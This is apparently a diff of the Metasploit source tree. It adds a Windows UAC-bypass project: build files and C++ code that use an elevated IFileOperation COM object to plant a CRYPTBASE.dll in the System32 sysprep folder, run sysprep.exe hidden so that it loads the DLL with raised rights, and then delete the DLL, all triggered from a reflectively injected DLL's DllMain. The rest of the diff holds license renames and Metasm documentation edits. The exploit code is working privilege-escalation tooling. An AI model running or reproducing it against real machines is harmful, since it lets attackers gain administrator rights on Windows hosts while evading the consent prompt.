<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>
|
||||
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\post\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>
|
||||
IF EXIST "..\..\..\..\..\data\post\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\post\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\Exploit.cpp" />
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\Exploit.h" />
|
||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,119 @@
|
|||
#include "Exploit.h"
|
||||
|
||||
void exploit()
|
||||
{
|
||||
|
||||
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
|
||||
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
|
||||
const wchar_t *sySysPrepExe = L"sysprep.exe";
|
||||
const wchar_t *szElevDll = L"CRYPTBASE.dll";
|
||||
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
|
||||
wchar_t szElevDir[MAX_PATH] = {};
|
||||
wchar_t szElevDir_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull[MAX_PATH] = {};
|
||||
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
|
||||
wchar_t szElevExeFull[MAX_PATH] = {};
|
||||
wchar_t path[MAX_PATH] = {};
|
||||
wchar_t windir[MAX_PATH] = {};
|
||||
const wchar_t *szElevArgs = L"";
|
||||
const wchar_t *szEIFOMoniker = NULL;
|
||||
PVOID OldValue = NULL;
|
||||
|
||||
IFileOperation *pFileOp = NULL;
|
||||
IShellItem *pSHISource = 0;
|
||||
IShellItem *pSHIDestination = 0;
|
||||
IShellItem *pSHIDelete = 0;
|
||||
|
||||
const IID *pIID_EIFO = &__uuidof(IFileOperation);
|
||||
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
|
||||
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||
|
||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
||||
GetTempPathW(MAX_PATH, path);
|
||||
|
||||
/* %temp%\cryptbase.dll */
|
||||
wcscat_s(path, MAX_PATH, szSourceDll);
|
||||
|
||||
/* %windir%\System32\sysprep\ */
|
||||
wcscat_s(szElevDir, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
||||
|
||||
/* %windir%\sysnative\sysprep\ */
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
||||
|
||||
/* %windir\system32\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
||||
|
||||
/* %windir\sysnative\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
||||
|
||||
/* %windir%\system32\sysprep\sysprep.exe */
|
||||
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
||||
|
||||
if (CoInitialize(NULL) == S_OK)
|
||||
{
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
||||
{
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
||||
{
|
||||
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
|
||||
{
|
||||
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
|
||||
{
|
||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
|
||||
{
|
||||
/* Copy the DLL file to the sysprep folder*/
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
/* Execute sysprep.exe */
|
||||
SHELLEXECUTEINFOW shinfo;
|
||||
ZeroMemory(&shinfo, sizeof(shinfo));
|
||||
shinfo.cbSize = sizeof(shinfo);
|
||||
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||
shinfo.lpFile = szElevExeFull;
|
||||
shinfo.lpParameters = szElevArgs;
|
||||
shinfo.lpDirectory = szElevDir;
|
||||
shinfo.nShow = SW_HIDE;
|
||||
|
||||
Wow64DisableWow64FsRedirection(&OldValue);
|
||||
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
|
||||
{
|
||||
WaitForSingleObject(shinfo.hProcess, 10000);
|
||||
CloseHandle(shinfo.hProcess);
|
||||
}
|
||||
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||
{
|
||||
if (0 != pSHIDelete)
|
||||
{
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
pFileOp->PerformOperations();
|
||||
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||
{
|
||||
if (0 != pSHIDelete)
|
||||
{
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
pFileOp->PerformOperations();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#include <Windows.h>
|
||||
#include <commctrl.h>
|
||||
#include <shlobj.h>
|
||||
#include <Shellapi.h>
|
||||
#include <stdio.h>
|
||||
#include <guiddef.h>
|
||||
|
||||
EXTERN_C void exploit();
|
|
@ -0,0 +1,26 @@
|
|||
#include "ReflectiveLoader.h"
|
||||
#include "Exploit.h"
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
exploit();
|
||||
ExitProcess(0);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
|
@ -0,0 +1,38 @@
|
|||
@ECHO OFF
|
||||
IF "%VCINSTALLDIR%" == "" GOTO NEED_VS
|
||||
|
||||
IF "%1"=="x86" GOTO BUILD_X86
|
||||
IF "%1"=="X86" GOTO BUILD_X86
|
||||
IF "%1"=="x64" GOTO BUILD_X64
|
||||
IF "%1"=="X64" GOTO BUILD_X64
|
||||
|
||||
ECHO "Building Exploits x64 and x86 (Release)"
|
||||
SET PLAT=all
|
||||
GOTO RUN
|
||||
|
||||
:BUILD_X86
|
||||
ECHO "Building Exploits x86 (Release)"
|
||||
SET PLAT=x86
|
||||
GOTO RUN
|
||||
|
||||
:BUILD_X64
|
||||
ECHO "Building Exploits x64 (Release)"
|
||||
SET PLAT=x64
|
||||
GOTO RUN
|
||||
|
||||
:RUN
|
||||
ECHO "Building Bypass UAC Injection"
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
|
||||
|
||||
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
||||
echo Finished %ldt%
|
||||
|
||||
GOTO :END
|
||||
|
||||
:NEED_VS
|
||||
ECHO "This command must be executed from within a Visual Studio Command prompt."
|
||||
ECHO "This can be found under Microsoft Visual Studio 2013 -> Visual Studio Tools"
|
||||
|
||||
:END
|
|
@ -0,0 +1,19 @@
|
|||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\bypassuac_injection.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86;x64" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building Bypass UAC (Injection) Release version x86" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="Building Bypass UAC (Injection) Release version x64" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
</Project>
|
||||
|
|
@ -52,6 +52,13 @@ IF "%ERRORLEVEL%"=="0" (
|
|||
PUSHD bypassuac
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building bypassuac (in-memory)"
|
||||
PUSHD bypassuac_injection
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
; Title: Windows Bind Stager (NX, IPv6)
|
||||
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
|
||||
; Author: Rapid7 LLC
|
||||
; Author: Rapid7, Inc
|
||||
|
||||
[BITS 32]
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
; Title: Windows Reverse Connect Stager (NX, IPv6)
|
||||
; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista
|
||||
; Author: Rapid7 LLC
|
||||
; Author: Rapid7, Inc
|
||||
|
||||
[BITS 32]
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2010, Rapid7 LLC
|
||||
Copyright (C) 2006-2010, Rapid7, Inc
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -11,7 +11,7 @@ are permitted provided that the following conditions are met:
|
|||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
* Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
|
@ -24,4 +24,4 @@ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
|||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -11,7 +11,7 @@
|
|||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
|
@ -105,4 +105,4 @@ DWORD WINAPI context_message_thread( LPVOID lpParameter );
|
|||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
//===============================================================================================//
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -11,7 +11,7 @@
|
|||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
|
@ -99,4 +99,4 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght );
|
|||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
//===============================================================================================//
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -11,7 +11,7 @@
|
|||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -11,7 +11,7 @@
|
|||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
|
@ -74,4 +74,4 @@ DWORD ps_getnativearch( VOID );
|
|||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
//===============================================================================================//
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// Copyright (C) 2006-2010, Rapid7, Inc
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
|
@ -11,7 +11,7 @@
|
|||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// * Neither the name of Rapid7, Inc nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
|
@ -39,4 +39,4 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer );
|
|||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
//===============================================================================================//
|
||||
|
|
|
@ -1,7 +1,2 @@
|
|||
# Load a slightly tweaked METASM stub
|
||||
require 'metasm/metasm'
|
||||
|
||||
# Manually load the classes we need from METASM
|
||||
require 'metasm/ia32'
|
||||
require 'metasm/mips'
|
||||
require 'metasm/exe_format/shellcode'
|
||||
|
|
|
@ -1,2 +0,0 @@
|
|||
repo: a1be49ad3727a7dab9202f848ad39b5674e1aada
|
||||
node: 7ec6509ea16231e365fffc91014755c810c27536
|
|
@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the
|
|||
comments in the scripts headers. You can also try the --help argument if
|
||||
you're feeling lucky.
|
||||
|
||||
For more information, check the doc/ subdirectory. The text files can be
|
||||
compiled to html using the misc/txt2html.rb script.
|
||||
|
||||
|
||||
|
||||
Here is a short overview of the Metasm internals.
|
||||
|
||||
|
@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc)
|
|||
Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str)
|
||||
Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string
|
||||
|
||||
PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work
|
||||
with memory-mmaped versions of those formats (e.g. to debugging running
|
||||
PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work
|
||||
with memory-mmaped versions of those formats (e.g. to debug running
|
||||
processes)
|
||||
|
||||
|
||||
|
@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat)
|
|||
|
||||
Debugging:
|
||||
|
||||
Metasm includes a few interfaces to allow live debugging.
|
||||
Metasm includes a few interfaces to handle debugging.
|
||||
The WinOS and LinOS classes offer access to the underlying OS processes (e.g.
|
||||
OS.current.find_process('foobar') will retrieve a running process with foobar
|
||||
in its filename ; then process.mem can be used to access its memory.)
|
||||
|
||||
The Windows and Linux debugging APIs (x86 only) have a basic ruby interface
|
||||
(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the
|
||||
windows debugging API) ; those will be more worked on/integrated in the future.
|
||||
The Windows and Linux low-level debugging APIs have a basic ruby interface
|
||||
(PTrace and WinAPI) ; which are used by the unified high-end Debugger class.
|
||||
Remote debugging is supported through the GDB server wire protocol.
|
||||
|
||||
High-level debuggers can be created with the following ruby line:
|
||||
Metasm::OS.current.create_debugger('foo')
|
||||
|
||||
Only one kind of host debugger class can exist at a time ; to debug multiple
|
||||
processes, attach to other processes using the existing class. This is due
|
||||
to the way the OS debugging API works on Windows and Linux.
|
||||
|
||||
The low-level backends are defined in the os/ subdirectory, the front-end is
|
||||
defined in debug.rb.
|
||||
|
||||
A linux console debugging interface is available in samples/lindebug.rb ; it
|
||||
uses a SoftICE-like look and feel.
|
||||
This interface can talk to a gdb-server through samples/gdbclient.rb ; use
|
||||
[udp:]<host:port> as target.
|
||||
uses a (simplified) SoftICE-like look and feel.
|
||||
It can talk to a gdb-server socket ; use a [udp:]<host:port> target.
|
||||
|
||||
The disassembler scripts allow live process interaction by using as target
|
||||
'live:<pid or part of filename>'.
|
||||
|
||||
A generic debugging interface is available, it is defined in metasm/os/main.rb
|
||||
It may be accessed using the Metasm::OS.current.create_debugger('foo')
|
||||
|
||||
It can be viewed in action using the GUI and 'open live' target.
|
||||
The disassembler-gui sample allow live process interaction when using as
|
||||
target 'live:<pid or part of program name>'.
|
||||
|
||||
|
||||
C Parser:
|
||||
|
@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats:
|
|||
- __int8 etc native types
|
||||
- Label addresses (&&label)
|
||||
Also note that all those things are parsed, but most of them will fail to
|
||||
compile on the Ia32 backend (the only one implemented so far.)
|
||||
compile on the Ia32/X64 backend (the only one implemented so far.)
|
||||
|
||||
Parsing C files should be done using an existing ExeFormat, with the
|
||||
parse_c_file method. This ensures that format-specific macros/ABI are correctly
|
||||
defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc)
|
||||
|
||||
When you parse a C String using C::Parser.parse(text), you receive a Parser
|
||||
object. It holds a #toplevel field, which is a C::Block, which holds #structs,
|
||||
|
@ -249,15 +261,11 @@ CExpressions...)
|
|||
|
||||
A C::Parser may be #precompiled to transform it into a simplified version that
|
||||
is easier to compile: typedefs are removed, control sequences are transformed
|
||||
in if () goto ; etc.
|
||||
into 'if (XX) goto YY;' etc.
|
||||
|
||||
To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with
|
||||
exe-specific macros defined (eg __PE__ or __ELF__).
|
||||
|
||||
The prefered way to create a C::Parser is to initialize it with a CPU and the
|
||||
desired ExeFormat, so that it is
|
||||
correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and
|
||||
may define preprocessor macros needed to correctly parse standard headers.
|
||||
Vendor-specific headers may need to use either #pragma prepare_visualstudio
|
||||
(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the
|
||||
latter may be auto-detected (or may not).
|
||||
|
|
|
@ -2,13 +2,14 @@ List of TODO items, by section, in random order
|
|||
|
||||
Ia32
|
||||
emu fpu
|
||||
add all sse2 instrs
|
||||
AVX support
|
||||
realmode
|
||||
|
||||
X86_64
|
||||
decompiler
|
||||
|
||||
CPU
|
||||
Arm
|
||||
Sparc
|
||||
Cell
|
||||
|
||||
|
@ -26,14 +27,14 @@ Assembler
|
|||
Disasm
|
||||
DecodedData
|
||||
Exe decoding generate decodeddata ?
|
||||
Function-local namespace (esp+12 -> esp+var_42)
|
||||
Function variable names using stack analysis + ExpressionString
|
||||
Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk)
|
||||
Test with ET_REL style exe
|
||||
Store stuff out of mem (to handle big binaries)
|
||||
Better :default usage
|
||||
good on call eax, but not on <600k instrs> ret
|
||||
use binary personality ? (uses call vs uses pushret..)
|
||||
Improve backtrace -> patch di.instr.args exprs
|
||||
Improve 'backtrace => patch di.instr.args'
|
||||
path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:)
|
||||
Decode pseudo/macro-instrs (mips 'li')
|
||||
Deoptimizer (instr reordering for readability)
|
||||
|
@ -69,6 +70,7 @@ Decompiler
|
|||
Handle/hide compiler-generated stuff (getip, stack cookie setup/check..)
|
||||
Handle call 1f ; 1: pop eax
|
||||
More user control (force/forbid register arg, return type, etc)
|
||||
Preserve C decompiled line association to range of asm decoded addrs
|
||||
|
||||
Debugger
|
||||
OSX
|
||||
|
@ -81,7 +83,6 @@ Debugger
|
|||
Remote debugging (small standalone C client)
|
||||
Support dbghelp.dll (ms symbol server info)
|
||||
Support debugee function call (gdb 'call')
|
||||
Manipulate memory through C struct casts
|
||||
|
||||
ExeFormat
|
||||
Handle minor editing without decode/reencode (eg patch ELF entrypoint)
|
||||
|
@ -105,10 +106,9 @@ GUI
|
|||
show breakpoints
|
||||
show jump direction from current flag values
|
||||
have a console frontend
|
||||
better graph positionning fallback
|
||||
zoom font when zooming graph
|
||||
copy/paste, selection
|
||||
text selection
|
||||
map (part of) the binary & debug it (map a PE on a linux host & run it)
|
||||
|
||||
Ruby
|
||||
compile ruby AST to native optimized code
|
||||
write a fast ruby-like interpreter
|
||||
|
|
|
@ -1,146 +0,0 @@
|
|||
Metasm source code organisation
|
||||
===============================
|
||||
|
||||
The metasm source code takes advantage of the ruby language facilities,
|
||||
which allows splitting the definition of a single class in multiple files.
|
||||
|
||||
Each file in the source tree holds code related to a particular feature of
|
||||
the framework.
|
||||
|
||||
Directories
|
||||
-----------
|
||||
|
||||
The top-level directories are :
|
||||
|
||||
* `doc/`: this documentation
|
||||
* `metasm/`: the framework core
|
||||
* `samples/`: a set of sample scripts showing various functionnalities of the framework
|
||||
* `tests/`: a few unit tests (too few..)
|
||||
* `misc/`: misc ruby scripts, not directly related to metasm
|
||||
|
||||
The core
|
||||
--------
|
||||
|
||||
The `metasm/` directory holds most of the code of the framework, along with the
|
||||
main `metasm.rb` file in the top directory.
|
||||
|
||||
The top-level `metasm.rb` has code to load parts of the framework source on demand
|
||||
in the ruby interpreter, which is implemented with ruby's <const_missing.txt>
|
||||
|
||||
|
||||
Executable formats
|
||||
##################
|
||||
|
||||
The `exe_format/` subdirectory contains the implementations of the various
|
||||
binary file formats supported in the framework.
|
||||
|
||||
Three files have a special meaning here:
|
||||
|
||||
* `main.rb`: it defines the <core/ExeFormat.txt> class
|
||||
* `serialstruct.rb`: here you'll find the definitions of <core/SerialStruct.txt>
|
||||
* `autoexe.rb`: the implementation of <core/AutoExe.txt>, which allows the recognition of arbitrary files from their binary signature.
|
||||
|
||||
The `main.rb` file is included in all other formats, as all file classes
|
||||
are subclasses of `ExeFormat`.
|
||||
|
||||
The `serialstruct.rb` implements a helper class to ease the description of
|
||||
binary structures, and generate parsing/encoding functions for those.
|
||||
|
||||
All other files implement a specific file format handler. The bigger files
|
||||
(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and
|
||||
decoding/disassembly.
|
||||
|
||||
|
||||
CPUs
|
||||
####
|
||||
|
||||
All supported architectures have a dedicated subdirectory, and a helper file
|
||||
that will simply include all the arch-specific files.
|
||||
|
||||
All those files will contribute to add functions to the same class implementing
|
||||
the CPU interface. Not all CPUs implement all those features. They are:
|
||||
|
||||
* `main.rb`: inner classes definitions (for registers etc), generic functions
|
||||
* `opcodes.rb`: initializes the opcode list for the architecture
|
||||
* `encode.rb`: methods to encode instructions
|
||||
* `decode.rb`: methods to decode/emulate instructions
|
||||
